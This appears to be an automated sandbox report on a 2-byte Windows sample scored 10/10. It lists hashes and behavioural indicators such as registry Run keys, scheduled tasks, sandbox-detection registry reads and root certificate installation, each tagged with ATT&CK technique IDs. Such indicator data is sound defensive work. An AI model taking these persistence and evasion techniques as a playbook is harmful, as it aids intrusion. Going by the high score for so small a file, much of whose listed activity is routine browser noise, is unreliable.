4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865

Analysis

max time kernel
1189s
max time network
1153s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
10-07-2023 19:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Untitled Document 5
Size

2B
MD5

b026324c6904b2a9cb4b88d6d61c81d1
SHA1

e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA256

4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA512

3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686

Score

10^/10

persistence

Malware Config

Signatures

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

regsvr32.exetypeperf.execmd.exetypeperf.execmd.exetypeperf.execmd.exetypeperf.execmd.exetypeperf.exetypeperf.exetypeperf.exetypeperf.exetypeperf.exetypeperf.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4668	2120	regsvr32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3368	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	404	1236	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1416	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	964	1236	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4984	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3672	1236	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3396	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1532	1236	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2244	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1464	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1112	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3032	1236	typeperf.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4800	1236	typeperf.exe

Executes dropped EXE 3 IoCs

Processes:

ie4uinit.exeie4uinit.exemsxsl.exe

pid process

2132 ie4uinit.exe
432 ie4uinit.exe
3156 msxsl.exe
Loads dropped DLL 1 IoCs

Processes:

regsvr32.exe

pid process

3952 regsvr32.exe
Adds Run key to start application 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Processes:

chrome.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Windows\CurrentVersion\Run chrome.exe
Drops file in Program Files directory 1 IoCs

Processes:

ie4uinit.exe

description ioc process

File created C:\Program Files (x86)\Internet Explorer\Signup\TMP4352$.TMP ie4uinit.exe
Drops file in Windows directory 1 IoCs

Processes:

ie4uinit.exe

description ioc process

File opened for modification C:\Windows\security\logs\scecomp.log ie4uinit.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2132	ie4uinit.exe
432	ie4uinit.exe
3156	msxsl.exe

pid	process
3952	regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Windows\CurrentVersion\Run	chrome.exe

description	ioc	process
File created	C:\Program Files (x86)\Internet Explorer\Signup\TMP4352$.TMP	ie4uinit.exe

description	ioc	process
File opened for modification	C:\Windows\security\logs\scecomp.log	ie4uinit.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1112 schtasks.exe

pid	process
1112	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

Processes:

ie4uinit.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6\IEPropFontName = "Times New Roman"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\18\IEPropFontName = "Kartika"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\23	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\26	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\13\IEPropFontName = "Shruti"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\14\IEFixedFontName = "Kalinga"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\21	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\26\IEFixedFontName = "NSimsun"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\31\IEPropFontName = "Segoe UI Symbol"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\12	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\21\IEFixedFontName = "Microsoft Himalaya"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\23\IEFixedFontName = "GulimChe"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\24\IEPropFontName = "MS PGothic"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\36\IEPropFontName = "Myanmar Text"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\39	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\12\IEFixedFontName = "Raavi"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\18	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\21\IEPropFontName = "Microsoft Himalaya"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\25\IEFixedFontName = "MingLiu"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\26\IEPropFontName = "Simsun"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\30\IEPropFontName = "Microsoft Yi Baiti"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\34	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\39\IEPropFontName = "Mongolian Baiti"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\3\IEFixedFontName = "Courier New"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\5\IEFixedFontName = "Courier New"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\24	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\3	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\17\IEPropFontName = "Tunga"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\31	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\New Windows	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\4\IEPropFontName = "Times New Roman"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\13\IEFixedFontName = "Shruti"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\18\IEFixedFontName = "Kartika"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\22	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\34\IEFixedFontName = "Iskoola Pota"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\23\IEPropFontName = "Gulim"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\30\IEFixedFontName = "Microsoft Yi Baiti"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\SQM	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\4	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\13	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\14\IEPropFontName = "Kalinga"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\35\IEPropFontName = "Estrangelo Edessa"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\38\IEFixedFontName = "MV Boli"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\3\IEPropFontName = "Times New Roman"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\4\IEFixedFontName = "Courier New"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\22\IEPropFontName = "Sylfaen"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\24\IEFixedFontName = "MS Gothic"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\25\IEPropFontName = "PMingLiu"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\35	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\38	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\5\IEPropFontName = "Times New Roman"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6\IEFixedFontName = "Courier New"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\30	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\31\IEFixedFontName = "Segoe UI Symbol"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\34\IEPropFontName = "Iskoola Pota"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\38\IEPropFontName = "MV Boli"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\17\IEFixedFontName = "Tunga"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\6	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\17	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\22\IEFixedFontName = "Sylfaen"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\25	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Internet Explorer\International\Scripts\36	ie4uinit.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133334897398252326"	chrome.exe

Modifies registry class 2 IoCs

Processes:

chrome.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\Local Settings	OpenWith.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

msxsl.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\C9FEFC763D9548B487696F047ACBA0ABE45C7BC1	msxsl.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\C9FEFC763D9548B487696F047ACBA0ABE45C7BC1\Blob = 030000000100000014000000c9fefc763d9548b487696f047acba0abe45c7bc1140000000100000014000000a58cfe32cceb0f2cd419c608b80024885dc3c5b7040000000100000010000000b6d2123efcd2cf87c8676df13d48cd300f0000000100000020000000accdaa26caf1877c5a376d1ae7333d52fcaa751be46e1928a551d589914bf5111900000001000000100000002b3d44ff3998123019ba97abc6bba9765c00000001000000040000000008000018000000010000001000000014c3bd3549ee225aece13734ad8ca0b820000000010000008f0400003082048b30820373a0030201020210090ee8c5de5bfa62d2ae2ff7097c4857300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3137313130323132323432355a170d3237313130323132323432355a305e310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d311d301b0603550403131454686177746520544c532052534120434120473130820122300d06092a864886f70d01010105000382010f003082010a0282010100c639e098f8557ad0b46ffa336d825dcce054035b0ca20e3bd37d1c00ff8fdb700d50df20ad71022fc3610c417817547db4bd3063499ccc7691d1aee561a9e5c6dc16a35b36b869e7c83b3a98e0aceba7b0db0dd8113afa4dbd78c608e9bb580616d01e7b06a290ef45b9df21c462534b09fcc5e3647ca556a43d8be2f14ddfa14d8317a294ae9a138ca4806033365a244e9ea134e2c06290f249d2c03cacee25243b242119e8ef920cacb021d5cba0c4e7a71b81286486f3c3564e8dc21c238699010289adb2a9d3c38e02ea9c4898363c102fcb8caa3f2b3af94c82f88170703bc6dcbeeffb982cde994bb56ad7f17f95585539fe5e8fa8d976607ce6ccc56d0203010001a38201403082013c301d0603551d0e04160414a58cfe32cceb0f2cd419c608b80024885dc3c5b7301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d30420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d200436303430320604551d2000302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f435053300d06092a864886f70d01010b05000382010100ba926d0a038b136f6558a44066fee2f61cbfe9657f41ecbfe16c9e0d72805eed5e7aa029ededa788a3cb0c8c24564c25990f5758d3ed8a64e0b574a8fc7755575c0b678f2b430ee3cf7fafe2a30d266104cefc6020fcc2f22fa0839b71730c1f15b6c1ff69e3203faa600f55d0ab3fa16839df9c94ca06ec617299f1dc075b95eb9efd09cf7f584761af0bf91bfc3e2e5487857d1701ce7e985d3173b18b5e0eaa6b224db73970eb3dfeeba41fe615b2e15d5939dae88570d6a87eb44b721f5e91be68bba64ab265850b38f30813b6afae58d554166e8a4c0046d63cb42555e8fa7d97755e6a006a6f67df82a349b770b44d8358408f815c6d51d5c00196895d	msxsl.exe

Runs net.exe

Script User-Agent 12 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	145	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	144	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	146	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	147	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	125	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	126	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	133	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	139	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	143	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	148	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	149	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	150	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exetaskmgr.exeregsvr32.exetypeperf.exetypeperf.exetypeperf.exetypeperf.exe

pid	process
4820	chrome.exe
4820	chrome.exe
4724	chrome.exe
4724	chrome.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
3952	regsvr32.exe
3952	regsvr32.exe
3952	regsvr32.exe
3952	regsvr32.exe
3368	typeperf.exe
3368	typeperf.exe
3368	typeperf.exe
3368	typeperf.exe
3368	typeperf.exe
1416	typeperf.exe
1416	typeperf.exe
1416	typeperf.exe
1416	typeperf.exe
1416	typeperf.exe
4984	typeperf.exe
4984	typeperf.exe
4984	typeperf.exe
4984	typeperf.exe
4984	typeperf.exe
3396	typeperf.exe
3396	typeperf.exe
3396	typeperf.exe
3396	typeperf.exe
3396	typeperf.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

OpenWith.exe

pid process

4712 OpenWith.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

chrome.exe

pid process

4820 chrome.exe
4820 chrome.exe
4820 chrome.exe
4820 chrome.exe
4820 chrome.exe
4820 chrome.exe
4820 chrome.exe
4820 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe
Token: SeShutdownPrivilege	4820	chrome.exe
Token: SeCreatePagefilePrivilege	4820	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exe7zG.exetaskmgr.exe

pid	process
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4820	chrome.exe
4812	7zG.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
